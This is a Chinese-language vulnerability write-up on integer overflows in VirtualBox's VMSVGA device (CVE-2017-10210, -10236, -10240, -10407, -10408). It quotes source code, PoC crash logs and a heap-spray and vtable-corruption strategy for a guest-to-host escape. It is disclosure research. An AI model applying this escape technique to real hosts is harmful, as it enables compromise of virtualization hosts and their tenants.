概述

VirtualBox模拟VMware虚拟SVGA设备,其接口的详细信息和编程模型可从网络上公开获取。另外,在《VMware托管I/O架构上的GPU虚拟化》论文中,对VMware SVGA设备架构进行了很好的描述。此外,Kostya Kortchinsky发布的《CLOUDBURST – Vmware Guest到Host逃逸的故事》一文中,详细介绍了如何利用VMware SVGA设备中的漏洞进行VM逃逸。

Oracle在2015年一月的重要补丁更新中,修复了VMSVGA设备所存在的一系列问题(CVE-2014-6595、CVE-2014-6588、CVE-2014-6589、CVE-2014-6590、CVE-2015-0427)。在文章《通过硬件仿真攻击虚拟机管理程序》中,提供了有关VirtualBox中VMSVGA漏洞的一些细节。

值得注意的是,由于VMSVGA设备在默认情况下未启用,所以受影响的用户可能非常有限。但是,用户可以根据VBoxManage文档中的说明启用该功能。

VBoxManage modifyvm VMNAME --graphicscontroller vmsvga

Oracle在2017年7月和2017年10月的重要补丁更新中,修复了VMSVGA漏洞CVE-2017-10210、CVE-2017-10236、CVE-2017-10239、CVE-2017-10240、CVE-2017-10392、CVE-2017-10407和CVE-2017-10408,这些漏洞是由我发现并报告的。另外,来自360 Gear团队的李强也同时独立发现了CVE-2017-10210、CVE-2017-10236、CVE-2017-10239和CVE-2017-10240这四个漏洞。在这篇博客文章中,详细介绍了其中的一些问题,并演示如何利用这些漏洞实现虚拟机逃逸。

我们在macOS环境的VirtualBox 5.1.22版本中进行了分析。Linux版本的VirtualBox不支持VMSVGA 3D功能,这一功能仅在Windows和macOS中可用。

vmsvga3dSurfaceDefine(DevVGA-SVGA3d.cpp)中验证validating face[0].numMipLevel过程存在整数溢出漏洞(CVE-2017-10210)

int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
                          SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
                          SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
{
    . . .
    /* cFaces must be 6 for a cubemap and 1 otherwise. */
    AssertReturn(cFaces == (uint32_t)((surfaceFlags & SVGA3D_SURFACE_CUBEMAP) ? 6 : 1), VERR_INVALID_PARAMETER);
    AssertReturn(cMipLevels == cFaces * face[0].numMipLevels, VERR_INVALID_PARAMETER);
    . . .
}

在使用“surfaceflag” SVGA3D_SURFACE_CUBEMAP时,“cFaces”值可以设置为6。然后,可以将“face[0].numMipLevels”设置为cFaces * face[0].numMipLevels wraps的计算结果。“cMipLevels”取决于为SVGA_3D_CMD_SURFACE_DEFINE命令传递的SVGA3dSize结构的数量,例如2 == 6 * 0x2aaaaaab。

用于其它多个命令中的face[0].numMipLevels值是导致内存损坏的元凶。在CVE-2017-10210的PoC中,使用了SVGA_3D_CMD_SURFACE_DESTROY命令来演示内存损坏,最终导致free()无效。

int vmsvga3dSurfaceDestroy(PVGASTATE pThis, uint32_t sid)
{
. . .
        if (pSurface->pMipmapLevels)
        {
            for (uint32_t face=0; face < pSurface->cFaces; face++)
            {
                for (uint32_t i=0; i < pSurface->faces[face].numMipLevels; i++)
                {
                    uint32_t idx = i + face * pSurface->faces[0].numMipLevels;
                    if (pSurface->pMipmapLevels[idx].pSurfaceData)
                        RTMemFree(pSurface->pMipmapLevels[idx].pSurfaceData);
                }
            }
            RTMemFree(pSurface->pMipmapLevels);
        }
. . .
}
[email protected]:~/virtualbox-vmsvga-bugs/CVE-2017-10210$ sudo ./poc
[sudo] password for renorobert:
poc: [+] Triggering the integer overflow using SVGA_3D_CMD_SURFACE_DEFINE...
poc: [+] Triggering the crash using SVGA_3D_CMD_SURFACE_DESTROY...
[lldbinit] process attach --pid 57984
[-] warning: get_frame() failed. Is the target binary started?
Process 57984 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
    frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10
Target 0: (VirtualBoxVM) stopped.
 
Executable module set to "/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM".
Architecture set to: x86_64h-apple-macosx.
[lldbinit] c
Process 57984 resuming
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x000070000E657000  RBP: 0x000070000E656CC0  RSP: 0x000070000E656C88  o d I t s z a P c
  RDI: 0x000000000000DB0B  RSI: 0x0000000000000006  RDX: 0x0000000000000000  RCX: 0x000070000E656C88  RIP: 0x00007FFF5F9B7B66
  R8:  0x0000000000000000  R9:  0x0000000000000000  R10: 0x0000000000000000  R11: 0x0000000000000206  R12: 0x000000000000DB0B
  R13: 0x0000000000000004  R14: 0x0000000000000006  R15: 0x000000000000002D
  CS:  0007  FS: 0000  GS: 0000                                              Jump is taken (c = 0)
-----------------------------------------------------------------------------------------------------------------------[flow]
-----------------------------------------------------------------------------------------------------------------------[code]
__pthread_kill @ libsystem_kernel.dylib:
    0x7fff5f9b7b66: 73 08           jae    0x7fff5f9b7b70            ; <+20>
    0x7fff5f9b7b68: 48 89 c7        mov    rdi, rax
    0x7fff5f9b7b6b: e9 79 6f ff ff  jmp    0x7fff5f9aeae9            ; cerror_nocancel
    0x7fff5f9b7b70: c3              ret   
    0x7fff5f9b7b71: 90              nop   
    0x7fff5f9b7b72: 90              nop   
    0x7fff5f9b7b73: 90              nop   
 
__pthread_markcancel @ libsystem_kernel.dylib:
    0x7fff5f9b7b74: b8 4c 01 00 02  mov    eax, 0x200014c
-----------------------------------------------------------------------------------------------------------------------------
 
Process 57984 stopped
* thread #21, name = 'VMSVGA FIFO', stop reason = signal SIGABRT
    frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10
Target 0: (VirtualBoxVM) stopped.
[lldbinit] bt
* thread #21, name = 'VMSVGA FIFO', stop reason = signal SIGABRT
  * frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10
    frame #1: 0x00007fff5fb82080 libsystem_pthread.dylib`pthread_kill + 333
    frame #2: 0x00007fff5f9131ae libsystem_c.dylib`abort + 127
    frame #3: 0x00007fff5fa11822 libsystem_malloc.dylib`free + 521
    frame #4: 0x000000010efbbad1 VBoxDD.dylib`___lldb_unnamed_symbol1176$$VBoxDD.dylib + 305
    frame #5: 0x000000010efb9932 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3682
    frame #6: 0x00000001053d1683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115
    frame #7: 0x00000001032db6dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44
    frame #8: 0x0000000103360222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194
    frame #9: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340
    frame #10: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377
    frame #11: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13
[lldbinit]

vmsvga3dSurfaceDefine(DevVGA-SVGA3d.cpp)中未验证paMipLevelSizes导致整数溢出漏洞(CVE-2017-10236)

    /* Allocate buffer to hold the surface data until we can move it into a D3D object */
    for (uint32_t i = 0; i < cMipLevels; ++i)
    {
        PVMSVGA3DMIPMAPLEVEL pMipmapLevel = &pSurface->pMipmapLevels[i];
        . . .
        pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width;
        pMipmapLevel->cbSurface      = pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth;
        pMipmapLevel->pSurfaceData   = RTMemAllocZ(pMipmapLevel->cbSurface);
        AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY);
    }

在这里,由于“paMipLevelSizes”值完全由Guest控制,因此“cbSurfacePitch”和“cbSurface”的计算可能会产生溢出。由于“cbSurface”的计算存在问题,进一步导致RTMemAllocZ最终分配的缓冲区大小比实际需要的要少。在其他SVGA命令中使用“pSurfaceData”期间,可能会发生越界读/写的情况。针对该漏洞提供的PoC仅演示了无效分配,可以在调试器中观察到这一点,不会触发任何崩溃。但是,这一漏洞随后将会在完整的VM逃逸漏洞利用中使用到。

vmsvga3dSurfaceDMA(DevVGA-SVGA3d.cpp)中多个整数溢出漏洞(CVE-2017-10240和CVE-2017-10408)

int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer,
                       uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes)
{
. . .
       for (unsigned i = 0; i < cCopyBoxes; i++)
        {
            . . .
            if (paBoxes[i].x + paBoxes[i].w > pMipLevel->size.width)
                paBoxes[i].w = pMipLevel->size.width - paBoxes[i].x;
            if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height)
                paBoxes[i].h = pMipLevel->size.height - paBoxes[i].y;
            if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth)
                paBoxes[i].d = pMipLevel->size.depth - paBoxes[i].z;
 
            if (    !paBoxes[i].w
                ||  !paBoxes[i].h
                ||  !paBoxes[i].d
                ||   paBoxes[i].x > pMipLevel->size.width
                ||   paBoxes[i].y > pMipLevel->size.height
                ||   paBoxes[i].z > pMipLevel->size.depth)
            {
                . . .
                continue;
            }
            uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
            AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR);
. . .
}

在这一漏洞中,首先对于“pMipLevel”的“paBoxes”验证可能会发生溢出,从而导致绕过问题。由于整数溢出,因此也可以绕过针对“pMipLevel-> cbSurface”的“uDestOffset”验证。我们在多个位置都发现了类似的代码模式。“uDestOffset”用于在调用vmsvgaGMRTransfer期间计算“pBufferStart”参数,所以验证失效将导致SVGA3dTransferType – SVGA3D_WRITE_HOST_VRAM或SVGA3D_READ_HOST_VRAM的值所对应位置发生越界读取或越界写入。该漏洞的PoC将访问内存中pMipLevel->pSurfaceData偏移约4GB的位置,从而导致崩溃。可以通过堆喷射并分配可访问内存区域的方法来利用这一漏洞。

[email protected]:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ make
gcc -Wall -ggdb -std=gnu99 -o poc svga.c poc.c -lpciaccess
[email protected]:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ sudo ./poc
[sudo] password for renorobert:
[lldbinit] process attach --pid 14518
[-] warning: get_frame() failed. Is the target binary started?
Process 14518 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
    frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10
Target 0: (VirtualBoxVM) stopped.
 
Executable module set to "/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM".
Architecture set to: x86_64h-apple-macosx.
[lldbinit] c
Process 14518 resuming
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x00007F976656CEB8  RBX: 0x0000000111C1C000  RBP: 0x00007000066CAC10  RSP: 0x00007000066CAC10  o d I t s Z a P c
  RDI: 0x00007F976656CEB8  RSI: 0x0000000111C1C000  RDX: 0x0000000000000000  RCX: 0x4141414141414141  RIP: 0x00007FFF5FB78FD0
  R8:  0x4141414141414141  R9:  0x0000000000000000  R10: 0x00000000FFFFFFFE  R11: 0x00007F9654950EB8  R12: 0x0000000000000000
  R13: 0x0000000000000001  R14: 0x00007F976656CEB8  R15: 0x0000000000000001
  CS:  002B  FS: 0000  GS: 0000                                             
-----------------------------------------------------------------------------------------------------------------------[flow]
-----------------------------------------------------------------------------------------------------------------------[code]
_platform_memmove$VARIANT$Haswell @ libsystem_platform.dylib:
    0x7fff5fb78fd0: 48 89 0f     mov    qword ptr [rdi], rcx
    0x7fff5fb78fd3: 4c 89 04 17  mov    qword ptr [rdi + rdx], r8
    0x7fff5fb78fd7: 5d           pop    rbp
    0x7fff5fb78fd8: c3           ret   
    0x7fff5fb78fd9: 48 83 c2 08  add    rdx, 0x8
    0x7fff5fb78fdd: 74 25        je     0x7fff5fb79004            ; <+228>
    0x7fff5fb78fdf: 4d 31 c0     xor    r8, r8
    0x7fff5fb78fe2: 42 8a 0c 06  mov    cl, byte ptr [rsi + r8]
-----------------------------------------------------------------------------------------------------------------------------
 
Process 14518 stopped
* thread #21, name = 'VMSVGA FIFO', stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8)
    frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176
Target 0: (VirtualBoxVM) stopped.
[lldbinit] vmmap -a 0x00007F976656CEB8
[lldbinit] bt
* thread #21, name = 'VMSVGA FIFO', stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8)
  * frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176
    frame #1: 0x0000000110e1a6bf VBoxDD.dylib`___lldb_unnamed_symbol1154$$VBoxDD.dylib + 671
    frame #2: 0x0000000110e2207d VBoxDD.dylib`___lldb_unnamed_symbol1178$$VBoxDD.dylib + 861
    frame #3: 0x0000000110e1fa09 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3897
    frame #4: 0x0000000107a17683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115
    frame #5: 0x00000001059216dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44
    frame #6: 0x00000001059a6222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194
    frame #7: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340
    frame #8: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377
    frame #9: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13
[lldbinit]

vmsvgaGMRTransfer(DevVGA-SVGA.cpp)整数溢出漏洞(CVE-2017-10407)

int vmsvgaGMRTransfer(PVGASTATE pThis, const SVGA3dTransferType enmTransferType, uint8_t *pbDst, int32_t cbDestPitch,
                      SVGAGuestPtr src, uint32_t offSrc, int32_t cbSrcPitch, uint32_t cbWidth, uint32_t cHeight)
{
. . .
        AssertMsgReturn(offSrc + cbSrcPitch * (cHeight - 1) + cbWidth <= pThis->vram_size,
                        ("src.offset=%#x offSrc=%#x cbSrcPitch=%#x cHeight=%#x cbWidth=%#x vram_size=%#x\n",
                         src.offset, offSrc, cbSrcPitch, cHeight, cbWidth, pThis->vram_size),
                        VERR_INVALID_PARAMETER);
 
        uint8_t *pSrc  = pThis->CTX_SUFF(vram_ptr) + offSrc;
. . .
}

其中,“offSrc”验证可能会发生溢出,并且可以绕过对“vram_size”的检查,这将会导致与VRAM相关的越界读取或越界写入。vmsvgaGMRTransfer可以由多个SVGA命令使用,例如SVGA_CMD_BLIT_GMRFB_TO_SCREEN、SVGA_3D_CMD_SURFACE_DMA、SVGA_3D_CMD_BLIT_SURFACE_TO_SCREEN等。

在SVGA_CMD_BLIT_GMRFB_TO_SCREEN中,针对vram_size验证“offsetDest”。因此,写入的位置只能从VRAM缓冲区内开始。但是,“offsetSource”最终可以在受控制的偏移量处指向超出VRAM缓冲区的位置,从而可靠地提供信息泄露漏洞。

case SVGA_CMD_BLIT_GMRFB_TO_SCREEN:
            {
 . . .
                unsigned offsetSource = (pCmd->srcOrigin.x * pSVGAState->GMRFB.format.s.bitsPerPixel) / 8 + pSVGAState->GMRFB.bytesPerLine * pCmd->srcOrigin.y;
                unsigned offsetDest   = (pCmd->destRect.left * RT_ALIGN(pThis->svga.uBpp, 8)) / 8 + pThis->svga.cbScanline * pCmd->destRect.top;
                unsigned cbCopyWidth  = (width * RT_ALIGN(pThis->svga.uBpp, 8)) / 8;
 
                AssertBreak(offsetDest < pThis->vram_size);
 
                rc = vmsvgaGMRTransfer(pThis, SVGA3D_WRITE_HOST_VRAM, pThis->CTX_SUFF(vram_ptr) + offsetDest, pThis->svga.cbScanline, pSVGAState->GMRFB.ptr, offsetSource, pSVGAState->GMRFB.bytesPerLine, cbCopyWidth, height);

该漏洞提供的PoC使用SVGA_CMD_BLIT_GMRFB_TO_SCREEN和SVGA_3D_CMD_SURFACE_DMA演示了相对于VRAM的OOB访问。

漏洞利用

在上述的多个漏洞中,提供了许多组合和原语。我选择使用vmsvga3dSurfaceDefine和vmsvga3dSurfaceDMA中的漏洞来演示完整的VM逃逸:

int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
                          SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
                          SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
{
. . .
    /* Allocate buffer to hold the surface data until we can move it into a D3D object */
    for (uint32_t i = 0; i < cMipLevels; ++i)
    {
        PVMSVGA3DMIPMAPLEVEL pMipmapLevel = &pSurface->pMipmapLevels[i];
        . . .
        pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width;
        pMipmapLevel->cbSurface      = pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth;
        pMipmapLevel->pSurfaceData   = RTMemAllocZ(pMipmapLevel->cbSurface);
        AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY);
    }
 . . .
}

vmsvga3dSurfaceDefine()中存在的漏洞,允许为pMipmapLevel->size.width、pMipmapLevel->size.height和pMipmapLevel->size.depth设置非常大的值,但最终只需要分配所需大小的堆块。这一点对于进一步利用vmsvga3dSurfaceDMA()中的整数溢出漏洞来说非常有帮助。

int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer,
                       uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes)
{
. . .
        for (unsigned i = 0; i < cCopyBoxes; i++)   
        {
            . . . 
            /* Apparently we're supposed to clip it (gmr test sample) */
            if (paBoxes[i].x + paBoxes[i].w > pMipLevel->size.width)
                paBoxes[i].w = pMipLevel->size.width - paBoxes[i].x;
            if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height)
                paBoxes[i].h = pMipLevel->size.height - paBoxes[i].y;
            if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth)
                paBoxes[i].d = pMipLevel->size.depth - paBoxes[i].z;
 
            if (    !paBoxes[i].w
                ||  !paBoxes[i].h
                ||  !paBoxes[i].d
                ||   paBoxes[i].x > pMipLevel->size.width
                ||   paBoxes[i].y > pMipLevel->size.height
                ||   paBoxes[i].z > pMipLevel->size.depth)
            {
                . . .
                continue;
            }
. . .
            uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
            AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR);
. . .
            rc = vmsvgaGMRTransfer(pThis,
                                   transfer,
. . .
                                   paBoxes[i].w * pSurface->cbBlock,
                                   paBoxes[i].d * paBoxes[i].h);
. . .
}

由于pMipLevel的宽度、高度和深度在vmsvga3dSurfaceDefine()中被设置为非常大的值,因此可以绕过涉及paBoxes的第一次检查。后续,这些值将用于计算“uDestOffset”,可以设置为任意值。

uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;

但是,其后有一个验证:

            AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR);

举例来说:

uDestOffset + ((paBoxes[i].w * pSurface->cbBlock) * (paBoxes[i].h * paBoxes[i].d)) <= pMipLevel->cbSurface

在这里,可以将较高值设置为uDestOffset或(paBoxes[i].w * pSurface->cbBlock)或(paBoxes[i].h * paBoxes[i].d)来绕过验证。在vmsvgaGMRTransfer()中,(paBoxes[i].w * pSurface->cbBlock)和(paBoxes[i].h * paBoxes[i].d)用于计算memcpy()调用的大小参数。为了使大小调整为一个合理的值,我们将uDestOffset设置为一个较大的值,从而允许读取/写入一个距离表面分配约4GB的偏移量。

为了利用这个漏洞,有两个问题需要解决:

1、从表面分配偏移约4GB的内存;

2、在这个巨大偏移量的分配内存中,应该存在指针损坏,从而导致代码执行。

在macOS中,共有三种类型的分配: Tiny、Small和Large。Tiny堆分配的地址范围是0x00007fxxxxx00000,而Large分配则占用另一个地址范围0x00000001xxxxx000。上述二者堆分配中的任何一个都能够进行漏洞利用。

我选择的是Tiny类型堆分配,主要因为,我知道Tiny类型的分配中具有指向vtable和其他内存分配的指针,而这样的指针可能会由于代码执行而被破坏。但是,使用Tiny类型的分配来喷射(Spray)整个4GB内存是一个非常缓慢的过程。macOS支持最大127KB的Small分配。因此,我们的思路是尽可能多地分配Small块,以加快堆喷射的进度,并减少Tiny块堆喷射的数量。

分配Tiny块

对于Tiny块,我将目标放在针对HGCM(Host-Guest通信管理器)执行的分配上。关于HGCM的详细信息,可以参考:https://github.com/phoenhex/files/blob/master/slides/thinking_outside_the_virtualbox.pdf

针对这个漏洞,我习惯使用HGCM连接对象,然后进行喷射。要对HGCM连接进行初始化,需要使用VMM虚拟PCI设备进行。设备的BAR0保存用于HGCM通信的I/O端口地址。无论何时启动HGCM连接,都会在内存中分配大小为72字节的HGCMClient对象,并返回客户端ID。下面是HGCMClient对象的示例:

typedef struct _AVLULNodeCore
{
    AVLULKEY                Key;        /** Key value. */
    struct _AVLULNodeCore  *pLeft;      /** Pointer to left leaf node. */
    struct _AVLULNodeCore  *pRight;     /** Pointer to right leaf node. */
    unsigned char           uchHeight;  /** Height of this tree: max(height(left), height(right)) + 1 */
} AVLULNODECORE, *PAVLULNODECORE, **PPAVLULNODECORE;
 
typedef struct _ObjectAVLCore
{
    AVLULNODECORE AvlCore;
    void *pSelf;                        // type HGCMObject
} ObjectAVLCore;
 
struct HGCMClient {
        void *vptr_HGCMObject;
        uint32_t m_cRefs;
        uint32_t m_enmObjType;          // HGCMOBJ_TYPE enum
        ObjectAVLCore m_core;
        void *pService;                 // type HGCMService
        void *pvData;
        uint64_t padding;
} HGCMClient;

HGCMClient的创建和分配由src/VBox/Main/src-client/HGCM.cpp中的HGCMService::CreateAndConnectClient来完成。这些客户端对象使用AVL树进行维护,其中的节点包含客户端ID,并且还包含指向对象本身的指针。在漏洞利用期间,我们需要避免破坏AVL树的元数据,以防止在查找或插入AVL树节点期间发生任何崩溃。此外,我们可能会损坏HGCMClient的vtable,以获得RIP控制。

HGCMClient对象的删除发生在HGCM断开连接期间,由HGCMService::DisconnectClient进行处理,其中使用到了损坏的vtable。

int HGCMService::DisconnectClient(uint32_t u32ClientId, bool fFromService)
{
. . .
            HGCMMsgSvcDisconnect *pMsg = (HGCMMsgSvcDisconnect *)hgcmObjReference(hMsg, HGCMOBJ_MSG);
            AssertRelease(pMsg);
 
            pMsg->u32ClientId = u32ClientId;
 
            hgcmObjDereference(pMsg);  // use of corrupted vtable on deletion
. . .
}

分配Small块

为了能更高效地填充4GB,与Tiny块相比,Small块显然是更好的选择。SVGA_3D_CMD_SURFACE_DEFINE命令可用于分配任意大小的块。

int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
                          SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
                          SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
{
. . .
    AssertReturn(sid < SVGA3D_MAX_SURFACE_IDS, VERR_INVALID_PARAMETER);
. . .
    pSurface = pState->papSurfaces[sid];
 
    /* If one already exists with this id, then destroy it now. */
    if (pSurface->id != SVGA3D_INVALID_ID)
        vmsvga3dSurfaceDestroy(pThis, sid);
. . .
}

vmsvga3dSurfaceDefine()允许最多SVGA3D_MAX_SURFACE_IDS (32 * 1024)个唯一的表面分配。针对大小为127KB的表面,这样的限制足以让我们填充约4GB。由于页是分配给堆的较低地址,因此最开始需要分配HGCMClient对象,然后才是表面分配。在进行堆喷射后,内存布局如下图所示:

1.png

喷射前的内存布局

Stack                  00007000060c1000-0000700006143000           thread 29
MALLOC_TINY            00007ff16b400000-00007ff16b500000 [ 1024K   684K   684K   316K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16b500000-00007ff16b700000 [ 2048K   792K   792K  1256K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16b700000-00007ff16b800000 [ 1024K   840K   840K   184K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff16b800000-00007ff16c06d000 [ 8628K  1332K  1332K  2160K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL (empty)   00007ff16c06d000-00007ff16c06e000 [    4K     4K     4K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff16c06e000-00007ff16d800000 [ 23.6M  2600K  2600K  4288K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16d800000-00007ff16d900000 [ 1024K   484K   484K   540K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16d900000-00007ff16da00000 [ 1024K   364K   364K   660K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16da00000-00007ff16dc00000 [ 2048K    20K    20K    12K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_TINY            00007ff16dc00000-00007ff16de00000 [ 2048K    20K    20K    24K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY (empty)    00007ff16de00000-00007ff16df00000 [ 1024K     8K     8K     8K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY            00007ff16df00000-00007ff16e000000 [ 1024K   448K   448K   492K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL (empty)   00007ff16e000000-00007ff16e800000 [ 8192K     4K     4K     8K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_SMALL           00007ff16e800000-00007ff16f000000 [ 8192K     8K     8K   240K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_SMALL (empty)   00007ff16f000000-00007ff170000000 [ 16.0M     8K     8K   172K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY (empty)    00007ff170000000-00007ff170100000 [ 1024K     8K     8K     4K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_TINY            00007ff170100000-00007ff170200000 [ 1024K   368K   368K    60K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY (empty)    00007ff170200000-00007ff170300000 [ 1024K     8K     8K     4K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_TINY            00007ff170300000-00007ff170400000 [ 1024K     4K     4K    20K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY            00007ff170400000-00007ff170600000 [ 2048K    84K    84K   948K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff170800000-00007ff171000000 [ 8192K     4K     4K    96K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_SMALL           00007ff171000000-00007ff171800000 [ 8192K     4K     4K     8K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
STACK GUARD            00007ffee50b0000-00007ffee88b0000 [ 56.0M     0K     0K     0K] ---/rwx SM=NUL          stack guard for thread 0

喷射后的内存布局

Stack                  000070000624a000-00007000062cc000 [  520K    12K    12K     0K] rw-/rwx SM=PRV          thread 35
MALLOC_SMALL           00007ff06b800000-00007ff079800000 [224.0M 209.3M 209.3M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff07b800000-00007ff08b000000 [248.0M 243.4M 243.4M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff08b400000-00007ff08b500000 [ 1024K   244K   244K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff08b800000-00007ff0c2800000 [880.0M 863.7M 863.7M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff0c2800000-00007ff0c3000000 [ 8192K  8032K  8032K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff0c3000000-00007ff0ec800000 [664.0M 532.9M 532.9M 118.8M] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff0ec800000-00007ff0ed000000 [ 8192K  8032K  8032K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff0ed000000-00007ff0fb000000 [224.0M 217.3M 217.3M  2588K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff0fb400000-00007ff0fb500000 [ 1024K   184K   184K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
